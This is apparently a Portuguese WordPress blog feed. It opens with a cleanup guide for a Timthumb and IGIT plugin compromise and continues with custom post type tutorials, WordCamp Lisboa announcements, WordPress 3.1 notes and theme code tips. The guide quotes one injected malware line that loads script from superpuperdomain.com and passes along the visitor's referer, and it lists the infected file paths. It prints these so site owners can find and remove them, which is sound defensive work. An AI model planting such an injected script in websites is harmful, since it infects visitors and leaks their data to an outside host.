Nos últimos dias, diversas instalações de WordPress têm sido afectadas por uma vulnerabilidade no Timthumb, script utilizado por muitos themes para gerar miniaturas e mais recentemente no IGIT Related Posts, um plugin que mostra os artigos relacionados com miniatura. Apesar de ser um problema alheio ao WordPress em si, todos os bloggers e webmasters que tenham sites em WordPress, devem proceder à respectiva actualização e desinfecção:

Passo prévio: efectua uma cópia de segurança antes de qualquer alteração.

1. Verifica se o theme possui o script timthumb.php

No painel de admin do WordPress, clica em Apresentação – Editor e procura um ficheiro chamado timthumb.php, thumb.php ou um nome semelhante. Caso não exista, não é necessário efectuar qualquer alteração. Se existir, abre o ficheiro e substitui todo o código no interior do mesmo por este aqui. Guarda as alterações.

2. Verifica se utilizas o plugin IGIT Related Posts

No painel de admin do WordPress, clica em Plugins e verifica se tens um plugin com este nome. Em caso afirmativo, desactiva-o e remove-o – pelo menos enquanto não for lançada uma actualização, que pode ser acompanhada na página do plugin. Tendo em conta que este plugin também possui hidden links, pessoalmente recomendo desinstalar de vez e procurar uma solução alternativa.

3. Verifica se tens ficheiros infectados no interior do site

Acede à raiz do WordPress via FTP ou Explorador de Ficheiros do cPanel e verifica se tens os seguintes ficheiros:

• /wp-admin/js/config.php
• /wp-admin/common.php
• /wp-admin/upd.php
• /wp-content/upd.php

Em caso afirmativo, remove-os.

4. Desinfecta o index.php

Acede ao index.php que se encontra na raíz da instalação do WordPress e verifica se no mesmo tens a seguinte linha de código:

echo ' script type="text/javascript" language="javascript"
src="http://superpuperdomain.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']) .'

Em caso afirmativo, remove essa porção de código, grava e faz o upload do ficheiro agora limpo, para a raiz do site.

5. Procedimentos de segurança

Nunca é demais relembrar que a melhor forma de não teres os sites atacados, é prevenir esses ataques. Adopta comportamentos de segurança tais como manter o WordPress actualizado, assim como todos os plugins e themes, e nestes últimos procura instalar apenas de autores de confiança e sobretudo, verifica se estas extensões são pagas ou gratuitas, porque existem sites a distribuir plugins e themes premium (pagos) de forma gratuita, portanto pirateados, com a contrapartida de estarem infectados e/ou com spam links.

A segurança das passwords de acesso ao site, ftp, cpanel, bem como a limpeza do computador a partir do qual acedes, são factores igualmente importantes.

Mais informação:

• RSS Feed Crash
• PHP Remote View Attack

Podes acompanhar também o tópico de discussão no fórum.

Depois da primeira parte sobre os custom post types em wordpress, da segunda, onde foi explicado como registar os custom post types e, da terceira onde vimos como podemos adicionar novas taxonomias ao post type criado. hoje, vamos ver com podemos adicionar novas custom fiels ao post type.

Este vídeo incluí:

• Criar custom fields;

Tutorial completo:

• Parte 1 - Costum Post Types em WordPress – Vídeo Tutorial;
• Parte 2 - Costum Post Types em WordPress – Vídeo Tutorial - parte 2.
• Parte 3 – Custom Post Types em WordPress – Vídeo Tutorial – Parte 3

Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.

É já no próximo dia 24 de Setembro que a comunidade portuguesa de WordPress vai fazer história com o seu primeiríssimo WordCamp. Depois de alguns encontros informais bem sucedidos é agora altura de subir a fasquia num evento que pretende unir cada vez mais aqueles que fazem do wordpress a sua plataforma de eleição.

Os WordCamps são eventos totalmente sobre WordPress que acontecem um pouco por todo o mundo. Caracterizados pela informalidade, as portas estão abertas a todos, desde programadores, designers, autores ou meros utilizadores do sistema, todos são bem vindos. O objectivo é partilhar conhecimentos, estabelecer contactos, trocar ideias e socializar.

Garantido por esta altura estão oradores de renome não só nacionais como internacionais e à vista também já estão alguns patrocínios. Durante esta semana o website oficial do WordCamp Lisboa 2011 deve ser lançado e lá vamos poder ver o programa, consultar detalhes sobre todos os oradores, comprar o bilhete para o evento e por aí fora.

Este evento irá decorrer no Auditório Agostinho da Silva que fica na Universidade Lusófona, portanto mesmo se vierem de fora de Lisboa só precisam de encontrar o metro, depois metem-se na linha verde em direcção ao Campo Grande e finalmente basta caminharem um pouco que estão lá.

A organização quer que o Word­Camp Lis­boa 2011 seja uma referência e abra caminho para muitos mais. Portanto toca a desimpedir o próximo dia 24 de Setembro nas vossas agendas, nós queremos que o Mais Tráfego compareça em peso e contribua para fazer deste evento um dos melhores do ano.

Depois da primeira parte sobre os custom post types em wordpress e da segunda, onde foi explicado como registar os custom post types. Hoje trago a terceira parte deste tutorial. Vamos começar por ver como podemos adicionar novas taxonomias ao post type criado, definindo assim novas “categorias” que podem ser usadas exclusivamente para o custom post deste tutorial. No exemplo prático estamos a criar um site de jogos, vamos então ver baseado no brainstorm que definimos, como podemos adicionar os tipos de plataformas distintos que existem no mercado.

Este vídeo incluí:

• Criar custom taxonomies;
• Adicionar as novas taxonomies ao custom post;
• Definição de labels;
• Criação de categorias via painel de administração.

Tutorial completo:

• Parte 1 - Costum Post Types em WordPress – Vídeo Tutorial;
• Parte 2 - Costum Post Types em WordPress – Vídeo Tutorial - parte 2.

 

Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.

Depois da primeira parte sobre os custom post types em wordpress, hoje trago a segunda parte deste tutorial. Vamos começar por ver como podemos registar o nosso novo tipo de conteúdo, como definir as suas labels e preparar o novo tipo de conteúdo para tradução. Espero que gostem e esteja acessível para todos. Code is Poetry!

Este vídeo incluí:

• Tutorial como registar o custom post type;
• Criação de Labels;
• Definição de argumentos;
• Preparar para tradução.

Parte 1 - Costum Post Types em WordPress – Vídeo Tutorial

Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.

Hoje trago o início de uma série de vídeo tutorias sobre os custom post types em wordpress. Vou tentar explicar da melhor maneira possível, como criar os custom post types, como devem ser utilizados e como adaptá-los a um theme customizado. Ou seja, nesta série de vídeos vão poder aprender a utilizar os custom post types e também como criar um theme costumizado com funções únicas.

Explicado resumidamente o que são os estes custom post types, o wordpress permite a criação de diferentes tipos de conteúdo. Esses conteúdos são guardados na base de dados na tabela “wp_posts” e diferenciados pela coluna “post_type”. A grande vantagem de usar esta funcionalidade, é que a nível de backend podemos ter uma organização muito mais elegante e de fácil usabilidade. Por exemplo, se estivermos a fazer um site para um cliente e ele quiser ter posts normais e também fazer reviews, podemos separar os posts normais das reviews. Fará mais sentido criar um novo custom post type, do que apenas uma nova categoria para essa funcionalidade. A explicação não é simples, será mais fácil visualizar os vídeos para ficarem com uma melhor noção desta poderosa funcionalidade do wordpress.

Neste vídeo temos:

• Introdução;
• Preparar a theme, a sua estrutura e ficheiros bases;
• Mind map do custom post type.

Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.

Obrigado

Ok, tudo muito bonito, mas eu não quero que os meus utilizadores registados a vejam. Como desligar então a nova admin bar e ocultar também as permissões no perfil pessoal.

Acrescentem este código ao ficheiro functions.php da vossa theme:

<?php
add_filter( 'show_admin_bar', '__return_false' );

function maist_hide_admin_bar_settings() {
?>
<style type="text/css">
.show-admin-bar {
display: none;
}
</style>
<?php
}

function maist_disable_admin_bar() {
add_filter( 'show_admin_bar', '__return_false' );
add_action( 'admin_print_scripts-profile.php',
'maist_hide_admin_bar_settings' );
}
add_action( 'init', 'maist_disable_admin_bar' , 9 );
?>

A versão 3.1 do WordPress já está disponível, também em Português. Esta versão foi baptizada de “Django” em homenagem ao guitarrista Django Reinhardt. Faz já o download ou actualiza directamente a partir do painel. Para mais detalhes sobre esta versão, consulta o artigo original no blog oficial.

A meu ver esta versão trás algumas novidades que tornam cada vez mais o wordpress num verdadeiro CMS, se é que já não o era. No entanto, desde a introdução no core dos custom post types, e com esta feita do archive para estes custom post types e ainda os novos post formats, a verdade é que as possibilidades de inserção de conteúdos personalizados e “costumizáveis” é agora enorme. Desenvolver blogs, tumblr’s, directórios, galerias, sites de real-estate, job boards, etc. É uma realidade acessível facilmente a qualquer pessoa.

O que há de novo no wordpress 3.1

Post formats

Os post formats são um novo formato de post, que pode ser definido a partir da inserção de post do wordpress. Simplificando o que isto faz, conhecem o tumblr? Basicamente esta nova funcionalidade do wordpress vai permitir criar tumblr blogs (e não só) a partir do wordpress. Os tipos de posts já vêm definidos por defeito, são eles aside, gallery, link, image, quote, status, video, audio e chat.

O que isto faz é possibilidade de alterar o estilo no vosso CSS para cada tipo. Por exemplo se inserem um video podem alterar o formato do post e definir o seu layout para que este seja diferente dos restantes. Isto trás bastante vantagens a nível de usabilidade e interecção com os leitores, de certeza nos próximos meses vamos ver themes já preparadas para estes post types que nos vão mostrar o real poder deles.

No codex do wordpress, já podemos saber a que se referem estes formatos de posts.

• aside – Typically styled without a title. Similar to a Facebook note update.
• gallery – A gallery of images. Post will likely contain a gallery shortcode and will have image attachments.
• link – A link to another site. Themes may wish to use the first <a href=””> tag in the post content as the external link for that post. An alternative approach could be if the post consists only of a URL, then that will be the URL and the title (post_title) will be the name attached to the anchor for it.
• image – A single image. The first <img /> tag in the post could be considered the image. Alternatively, if the post consists only of a URL, that will be the image URL and the title of the post (post_title) will be the title attribute for the image.
• quote – A quotation. Probably will contain a blockquote holding the quote content. Alternatively, the quote may be just the content, with the source/author being the title.
• status – A short status update, similar to a Twitter status update.
• video – A single video. The first <video /> tag or object/embed in the post content could be considered the video. Alternatively, if the post consists only of a URL, that will be the video URL. May also contain the video as an attachment to the post, if video support is enabled on the blog (like via a plugin).
• audio – An audio file. Could be used for Podcasting.
• chat – A chat transcript.

Custom post type archives

Agora é possível ver todos os conteúdos de determinado custom post type. Dantes para o fazer era necessário criar uma nova template para esse custom post type. Agora o wordpress irá gerar uma nova template “archive” exclusivamente para esse custom post.

Internal linking

Agora é possível escolher qual o conteúdo que queremos linkar a partir da admin do wordpress. Por exemplo, dantes quando queriamos linkar para uma página já existente terimos de ir procurar o url dessa página e copiar e colar o url, agora irá aparecer uma lista de páginas e conteúdos disponíveis para linkar.

Veja todas as novidades no wordpress 3.1

• Internal Linking – click a button for an internal link and it allows you to search for a post or browse a list of existing content and select it for inclusion.
• Admin Bar – contains various links to useful admin screens. By default, the admin bar is displayed when a user is logged in and visiting the site and is not displayed in admin screens for single blog installs. For multisite installs, the admin bar is displayed both when visiting the site and in the admin screens.
• Streamlined Writing Interface – new users of WordPress will find the write screen much less cluttered than before, as more of the options are hidden by default. You can click on Screen Options in the top right to bring them back.
• Post Formats – meta information that can be used by themes to customize presentation of a post. Read more in the article Post Formats.
• Network Admin – move Super Admin menus and related pages out of the regular admin and into a new Network Admin screen.
• List-type Admin Screens – sortable columns for list-type screens and better pagination.
• Exporter/Importer Overhaul – many under the hood changes including adding author information, better handling for taxonomies and terms, and proper support for navigation menus.
• Custom Content Type Improvements – allows developers to generate archive pages, and have better menu and capability controls. Read more in the article Post Types.
• Advanced Queries – allows developers to query multiple taxonomies and custom fields.
• Refreshed Blue Admin Color Scheme – puts the focus more squarely on your content.

Faz já o download ou actualiza directamente a partir do painel. Não deixes as tuas instalações desactualizadas

Já o divulga-mos na nossa comunidade, mas como nunca é demais divulgar esta iniciativa. Aqui fica.

Vai acontecer amanhã em Lisboa, na LX Factory. Mais concretamente no Cowork Lisboa o primeiro encontro oficial da comunidade WordPress em Portugal. Já tive a oportunidade de estar presente num outro encontro, onde também esteve presente a equipa da Automattic, juntamente com alguns entusiastas portugueses do wordpress. Devo confessar que foi um encontro muito interessante, completamente informal e com ambiente muito agradável, como tal, em principio também darei um salto num encontro de amanhã.

Para além de ser uma oportunidade única para os entusiastas do WordPress em Portugal se juntarem, sai sempre muita coisa interessante destes encontros, e as coisas ao vivo, funcionam muito mais depressa. Quem sabe não se combinam mais meetings deste género, ou mesmo um Wordcamp Portugal. Era bom, digam lá que não…

Vão também existir algumas talks, para já as confirmadas são muito interessantes. Mas qualquer pessoa pode submeter a sua e vir partilhar as suas ideias. O projector estará lá para isso mesmo. Por isso, se tens algo para partilhar esta é a oportunidade certa.

Novidades do WordPress 3.1

Será feita mais uma apresentação, sobre as novidades do WordPress 3.1, agendado para 15 de Dezembro. Vamos apresentar, de forma prática, as principais mudanças em relação à versão actual, nomeadamente:

• Barra de administração
• Administração de rede
• Pesquisa de templates
• Criação de links internos
• Paginação e ordenação de listas
• Ajax everywhere
• Formatos de posts
• Novo QuickPress
• Queries avançadas de taxonomias

Apresentação do Tarpipe

O Bruno Pedro irá a apresentar o tarpipe:

“tarpipe facilita a partilha conteúdos através de diferentes aplicações de social media. Automatiza a publicação através de fluxos editoriais que podem ser accionados por e-mail, mensagens instantâneas ou aplicações de terceiros. Compartilhe conteúdo facilmente em serviços de social media, incluindo Evernote, FriendFeed, Flickr e Twitter. Mantenha um registo de toda a sua actividad e obtenha uma interpretação contextual de todas as suas acções de publicação.”

João Pedro Pereira (do Público), WordPress e sites noticiosos

João Pedro Pereira, jornalista de tecnologia no Público e aficionado do WordPress, falará sobre a utilização do WordPress no contexto de uma redacção.

Nas suas palavras, eis o que vai ser abordado:

O WordPress tem sido usado por diversos órgãos de informação profissionais. Em muitos casos, simplesmente para a gestão de blogues dos jornalistas. Noutros, como gestor de conteúdos para todo o site (há muitos exemplos disto em Portugal). Há uma profusão de temas que prometem ser capazes de transformar um blog num site de notícias completo (e a maioria promete fazê-lo em escassos minutos). Porém — desiludam-se os mais entusiastas — o WordPress ainda não é uma ferramenta que satisfaça todas as necessidades de uma redacção. Mas está perto. Em menos de 15 minutos, as queixas de um jornalista e um esboço de solução.

E para já está apresentado o encontro. Para quem não conhece pode ver aqui onde fica. E qualquer questão adicional basta perguntar.

• A data é já este Sábado, dia 27 de Novembro
• O local é o Cowork Lisboa, na na LX Factory, mais concretamente na zona da cafetaria Quarto com Vista. É em Alcantâra e o mapa está aqui.
• Começa a seguir ao almoço, às 15:00
• É grátis e não precisa inscrever-se. Basta aparecer.
• Existe um projector disponível para quem quiser fazer alguma apresentação. Quantas mais, melhor. Basta dar uma apitadela.
• Agradecemos a divulgação! (a hashtag para o Twitter é #ewppt)

Até já.

Antes de escrever um artigo sobre o que alguns leitores comentaram no artigo anterior, decidi esclarecer também uma questão importante relacionada com os “Page Template”.

Muitas são as pessoas que depois de seguir as instruções de como criar uma Page Template não consegue activá-la. Ora há muitos artigos na Internet a explicar como dar a volta a esta questão. Muitas das vezes é o código <?php wp_head ?> que está em falta no header.php do template.

Mas mesmo assim quando está tudo aparentemente correcto, os Page Templates tendem a não funcionar e ou não é mostrada essa opção na edição de uma post ou página.

Existe uma outra forma de dar a volta à questão.

Como criar uma Page Template

Existem duas formas de o fazer. Uma delas é a habitual colocação do código abaixo no início de um ficheiro .php. Vou exemplificar.
Pretendo criar um page template para a página Contactos, que em relação ao page.php do meu template irá ser full width (supondo que o actual page.php é composto pelo content e sidebar).

Crio o ficheiro contactos.php e adiciono logo no início do mesmo o seguinte código

<?php /* Template Name: Contactos */ ?>

Após colocar este código no ficheiro e de o enviar para a pasta do tema, supostamente na opcção Custom Template irá aparecer a opção Contactos. Se assim acontecer, perfeito, temos a nossa page template criada.

Coloco o código de criação de uma Page Template, tenho o template com todas as tags que o WordPress assim exige, mas não tenho opção de mudar o template da página

Neste caso não desanimem, há uma outra solução que na minha opinião até é mais simples que a primeira. Em vez de criar um ficheiro contactos.php, colocar-lhe o código php acima referido apenas terei de fazer o seguinte.

Criar um ficheiro page-ID.php
Onde o ID é referente à página em questão e no caso deste post seria o ID da página contactos.

Voilá, apenas criando o ficheiro acima a página contactos ficará com a estrutura que lhe derem. Isto tudo sem ter que alterar alguma opção no WordPress. É realmente fantástico como o WordPress reconhece esta arquitectura de ficheiros

Queria alterar o estilo de outras páginas

Também é possível alterar o layout de outras páginas através da segunda solução acima apresentada.

category-ID.php – este ficheiro após colocação do ID da categoria em questão, irá dar-vos um estilo diferente à forma como são listados os posts nessa categoria.

Lembram-se do exemplo da página de cinema que dei no artigo anterior? Imaginemos que o meu site é sobre cinema e notícias de Cinema. Neste caso já não pretendo que o single.php tenha a estrutura apresentada no artigo anterior, pois no caso de escrever uma notícia sobre cinema não tenho uma capa, uma sinopse etc.

Como ter mais do que um estilo para cada artigo

Certamente com a novidade do WordPress 3.0 o Custom Post Type esta dica deixará de fazer muito sentido, no entanto terei de ler melhor e explorar esta funcionalidade para vos poder esclarecer. Confesso que ainda não trabalhei de perto com esta novidade.

Mas vamos continuar esquecendo os Custom Post Type. Portanto quero ter dois single.php. Um para os filmes outro para as notícias. Para tal teremos então de criar dois ficheiros novos.

filme.php – será o antigo single.php com a estrutura de apresentação de um filme
noticia.php – o nosso template para as notícias de cinema

Para que isto funcione e para que o WordPress saiba o que deve mostrar ao leitor, é preciso colocar o seguinte código no single.php

<?php
$post = $wp_query->post;
if ( in_category('ID1') ) {include(TEMPLATEPATH . '/noticia.php');}
else {include(TEMPLATEPATH . '/filme.php');}
?>

Ou seja, se o artigo estiver na categoria 2 (Notícias) é mostrado o single que criamos em noticia.php caso contrário é mostrada a estrutura do single filme.php

Pela lógica do ficheiro o que o WordPress faz quando alguém clica num artigo é esta:
1- Acede ao single.php
2- É-lhe dada a instrução que o artigo está em X categoria, reencaminha o clique para a página correcta.

Agora podem pensar, mas isto não vai tornar o meu blog mais lento? Não. Este é um processo tão rápido que o visitante nem faz ideia do que está a ser feito por detrás do clique que deu.

Estas dicas acima fazem sentido terem sido dadas após a escrita do primeiro artigo, pois como já repararam estão interligadas. Posso usar custom_fields no layout de uma página diferente enquanto que numa outra não.

É tudo uma questão de testarem e “brincarem” aos Page Templates.

Uma vez mais espero que este artigo vos tenha sido útil, certamente vos dará jeito em novas alterações. Sintam-se à vontade para colocar questões, sugestões e ou dúvidas sobre este tema e relacionados com WP nos comentários.

Até ao próximo artigo, fiquem bem